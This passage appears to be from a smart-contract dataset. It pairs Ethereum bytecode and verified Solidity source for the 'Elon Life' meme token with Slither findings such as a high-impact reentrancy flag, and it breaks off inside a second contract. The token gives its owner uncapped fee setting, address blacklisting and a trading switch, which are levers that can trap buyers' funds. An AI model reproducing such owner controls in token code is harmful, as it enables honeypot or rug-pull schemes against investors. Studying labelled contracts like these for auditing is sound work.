000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612bf9816127b7565b8114612c0457600080fd5b50565b612c10816127c9565b8114612c1b57600080fd5b50565b612c27816127f5565b8114612c3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201cf473fa787d6f0ef301576274c047f0cc990134f7fc563f4b815e9dad95c87364736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,654 |
0xf53ede7adea1c0be3ec8bbaee286eb99f6cbd507 | /*
ElonLife is the token of a community driven ecosystem which plans to integrate all the Meme coins spawned from Elon Musk's daily social activity.
ElonLife implements multiple interactive and recurring airdrop / burn mechanisms.
The trigger for such mechanism is related to two factors: Elon’s social activity and Space X success.
Every time Elon Musk will tweet or every time a Space X rocket lands back successfully, tokens will be burned
Whenever a Space X rocket explodes, tokens will be airdropped from the allocated supply.
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
─██████████████─██████─────────██████████████─██████──────────██████─██████─────────██████████─██████████████─██████████████─
─██░░░░░░░░░░██─██░░██─────────██░░░░░░░░░░██─██░░██████████──██░░██─██░░██─────────██░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─
─██░░██████████─██░░██─────────██░░██████░░██─██░░░░░░░░░░██──██░░██─██░░██─────────████░░████─██░░██████████─██░░██████████─
─██░░██─────────██░░██─────────██░░██──██░░██─██░░██████░░██──██░░██─██░░██───────────██░░██───██░░██─────────██░░██─────────
─██░░██████████─██░░██─────────██░░██──██░░██─██░░██──██░░██──██░░██─██░░██───────────██░░██───██░░██████████─██░░██████████─
─██░░░░░░░░░░██─██░░██─────────██░░██──██░░██─██░░██──██░░██──██░░██─██░░██───────────██░░██───██░░░░░░░░░░██─██░░░░░░░░░░██─
─██░░██████████─██░░██─────────██░░██──██░░██─██░░██──██░░██──██░░██─██░░██───────────██░░██───██░░██████████─██░░██████████─
─██░░██─────────██░░██─────────██░░██──██░░██─██░░██──██░░██████░░██─██░░██───────────██░░██───██░░██─────────██░░██─────────
─██░░██████████─██░░██████████─██░░██████░░██─██░░██──██░░░░░░░░░░██─██░░██████████─████░░████─██░░██─────────██░░██████████─
─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██████████░░██─██░░░░░░░░░░██─██░░░░░░██─██░░██─────────██░░░░░░░░░░██─
─██████████████─██████████████─██████████████─██████──────────██████─██████████████─██████████─██████─────────██████████████─
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Website : https://elonlifeeth.com/
Telegram :https://t.me/ElonLife
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ELONLIFE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon Life";
string private constant _symbol = "ELIFE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 600000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0xD46111Ea6f30A5F3820EB681AA8b755Ce6D1160B);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 12000000000000 * 10**9; //2
uint256 public _maxWalletSize = 24000000000000 * 10**9; //4
uint256 public _swapTokensAtAmount = 60000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd792841461052a578063c3c8cd801461055a578063dd62ed3e1461056f578063ea1644d5146105b557600080fd5b806398a5c3151461049a578063a2a957bb146104ba578063a9059cbb146104da578063bdd795ef146104fa57600080fd5b80638da5cb5b116100d15780638da5cb5b146104185780638f70ccf7146104365780638f9a55c01461045657806395d89b411461046c57600080fd5b8063715018a6146103cd57806374010ece146103e25780637d1db4a51461040257600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103585780636d8aa8f8146103785780636fc3eaec1461039857806370a08231146103ad57600080fd5b80632fd689e314610306578063313ce5671461031c57806349bd5a5e1461033857600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c65780632f9c4569146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461191f565b6105d5565b005b3480156101ff57600080fd5b50604080518082019091526009815268456c6f6e204c69666560b81b60208201525b60405161022e9190611a49565b60405180910390f35b34801561024357600080fd5b506102576102523660046118f4565b610682565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b50697f0e10af47c1c70000005b60405190815260200161022e565b3480156102d257600080fd5b506102576102e1366004611880565b610699565b3480156102f257600080fd5b506101f16103013660046118c0565b610702565b34801561031257600080fd5b506102b860185481565b34801561032857600080fd5b506040516009815260200161022e565b34801561034457600080fd5b50601554610287906001600160a01b031681565b34801561036457600080fd5b506101f1610373366004611810565b6107c6565b34801561038457600080fd5b506101f16103933660046119e6565b610811565b3480156103a457600080fd5b506101f1610859565b3480156103b957600080fd5b506102b86103c8366004611810565b610886565b3480156103d957600080fd5b506101f16108a8565b3480156103ee57600080fd5b506101f16103fd366004611a00565b61091c565b34801561040e57600080fd5b506102b860165481565b34801561042457600080fd5b506000546001600160a01b0316610287565b34801561044257600080fd5b506101f16104513660046119e6565b61094b565b34801561046257600080fd5b506102b860175481565b34801561047857600080fd5b50604080518082019091526005815264454c49464560d81b6020820152610221565b3480156104a657600080fd5b506101f16104b5366004611a00565b610993565b3480156104c657600080fd5b506101f16104d5366004611a18565b6109c2565b3480156104e657600080fd5b506102576104f53660046118f4565b610a00565b34801561050657600080fd5b50610257610515366004611810565b60116020526000908152604090205460ff1681565b34801561053657600080fd5b50610257610545366004611810565b60106020526000908152604090205460ff1681565b34801561056657600080fd5b506101f1610a0d565b34801561057b57600080fd5b506102b861058a366004611848565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101f16105d0366004611a00565b610a43565b6000546001600160a01b031633146106085760405162461bcd60e51b81526004016105ff90611a9c565b60405180910390fd5b60005b815181101561067e5760016010600084848151811061063a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067681611baf565b91505061060b565b5050565b600061068f338484610a72565b5060015b92915050565b60006106a6848484610b96565b6106f884336106f385604051806060016040528060288152602001611c0c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611099565b610a72565b5060019392505050565b6000546001600160a01b0316331461072c5760405162461bcd60e51b81526004016105ff90611a9c565b6001600160a01b03821660009081526011602052604090205460ff161515811515141561079b5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105ff565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016105ff90611a9c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461083b5760405162461bcd60e51b81526004016105ff90611a9c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087957600080fd5b47610883816110d3565b50565b6001600160a01b0381166000908152600260205260408120546106939061110d565b6000546001600160a01b031633146108d25760405162461bcd60e51b81526004016105ff90611a9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109465760405162461bcd60e51b81526004016105ff90611a9c565b601655565b6000546001600160a01b031633146109755760405162461bcd60e51b81526004016105ff90611a9c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109bd5760405162461bcd60e51b81526004016105ff90611a9c565b601855565b6000546001600160a01b031633146109ec5760405162461bcd60e51b81526004016105ff90611a9c565b600893909355600a91909155600955600b55565b600061068f338484610b96565b6013546001600160a01b0316336001600160a01b031614610a2d57600080fd5b6000610a3830610886565b905061088381611191565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105ff90611a9c565b601755565b6001600160a01b038316610ad45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ff565b6001600160a01b038216610b355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ff565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ff565b6001600160a01b038216610c5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ff565b60008111610cbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ff565b6000546001600160a01b03848116911614801590610cea57506000546001600160a01b03838116911614155b15610f8c57601554600160a01b900460ff16610d8e576001600160a01b03831660009081526011602052604090205460ff16610d8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ff565b601654811115610de05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ff565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2257506001600160a01b03821660009081526010602052604090205460ff16155b610e7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ff565b6015546001600160a01b03838116911614610eff5760175481610e9c84610886565b610ea69190611b41565b10610eff5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ff565b6000610f0a30610886565b601854601654919250821015908210610f235760165491505b808015610f3a5750601554600160a81b900460ff16155b8015610f5457506015546001600160a01b03868116911614155b8015610f695750601554600160b01b900460ff165b15610f8957610f7782611191565b478015610f8757610f87476110d3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fce57506001600160a01b03831660009081526005602052604090205460ff165b8061100057506015546001600160a01b0385811691161480159061100057506015546001600160a01b03848116911614155b1561100d57506000611087565b6015546001600160a01b03858116911614801561103857506014546001600160a01b03848116911614155b1561104a57600854600c55600954600d555b6015546001600160a01b03848116911614801561107557506014546001600160a01b03858116911614155b1561108757600a54600c55600b54600d555b61109384848484611336565b50505050565b600081848411156110bd5760405162461bcd60e51b81526004016105ff9190611a49565b5060006110ca8486611b98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561067e573d6000803e3d6000fd5b60006006548211156111745760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ff565b600061117e611364565b905061118a8382611387565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111e757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561123b57600080fd5b505afa15801561124f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611273919061182c565b8160018151811061129457634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112ba9130911684610a72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f3908590600090869030904290600401611ad1565b600060405180830381600087803b15801561130d57600080fd5b505af1158015611321573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611343576113436113c9565b61134e8484846113f7565b8061109357611093600e54600c55600f54600d55565b60008060006113716114ee565b90925090506113808282611387565b9250505090565b600061118a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611532565b600c541580156113d95750600d54155b156113e057565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061140987611560565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143b90876115bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146a90866115ff565b6001600160a01b03891660009081526002602052604090205561148c8161165e565b61149684836116a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114db91815260200190565b60405180910390a3505050505050505050565b6006546000908190697f0e10af47c1c700000061150b8282611387565b82101561152957505060065492697f0e10af47c1c700000092509050565b90939092509050565b600081836115535760405162461bcd60e51b81526004016105ff9190611a49565b5060006110ca8486611b59565b600080600080600080600080600061157d8a600c54600d546116cc565b925092509250600061158d611364565b905060008060006115a08e878787611721565b919e509c509a509598509396509194505050505091939550919395565b600061118a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611099565b60008061160c8385611b41565b90508381101561118a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ff565b6000611668611364565b905060006116768383611771565b3060009081526002602052604090205490915061169390826115ff565b30600090815260026020526040902055505050565b6006546116b590836115bd565b6006556007546116c590826115ff565b6007555050565b60008080806116e660646116e08989611771565b90611387565b905060006116f960646116e08a89611771565b905060006117118261170b8b866115bd565b906115bd565b9992985090965090945050505050565b60008080806117308886611771565b9050600061173e8887611771565b9050600061174c8888611771565b9050600061175e8261170b86866115bd565b939b939a50919850919650505050505050565b60008261178057506000610693565b600061178c8385611b79565b9050826117998583611b59565b1461118a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ff565b80356117fb81611bf6565b919050565b803580151581146117fb57600080fd5b600060208284031215611821578081fd5b813561118a81611bf6565b60006020828403121561183d578081fd5b815161118a81611bf6565b6000806040838503121561185a578081fd5b823561186581611bf6565b9150602083013561187581611bf6565b809150509250929050565b600080600060608486031215611894578081fd5b833561189f81611bf6565b925060208401356118af81611bf6565b929592945050506040919091013590565b600080604083850312156118d2578182fd5b82356118dd81611bf6565b91506118eb60208401611800565b90509250929050565b60008060408385031215611906578182fd5b823561191181611bf6565b946020939093013593505050565b60006020808385031215611931578182fd5b823567ffffffffffffffff80821115611948578384fd5b818501915085601f83011261195b578384fd5b81358181111561196d5761196d611be0565b8060051b604051601f19603f8301168101818110858211171561199257611992611be0565b604052828152858101935084860182860187018a10156119b0578788fd5b8795505b838610156119d9576119c5816117f0565b8552600195909501949386019386016119b4565b5098975050505050505050565b6000602082840312156119f7578081fd5b61118a82611800565b600060208284031215611a11578081fd5b5035919050565b60008060008060808587031215611a2d578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7557858101830151858201604001528201611a59565b81811115611a865783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b205784516001600160a01b031683529383019391830191600101611afb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5457611b54611bca565b500190565b600082611b7457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9357611b93611bca565b500290565b600082821015611baa57611baa611bca565b500390565b6000600019821415611bc357611bc3611bca565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b13a284b4242b105ef2d6cc5951e222104f0154dc193bb618dd2c7f817c6b3864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,655 |
0x155482d1e2cb0909333326504f0ea4350760c927 | /**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
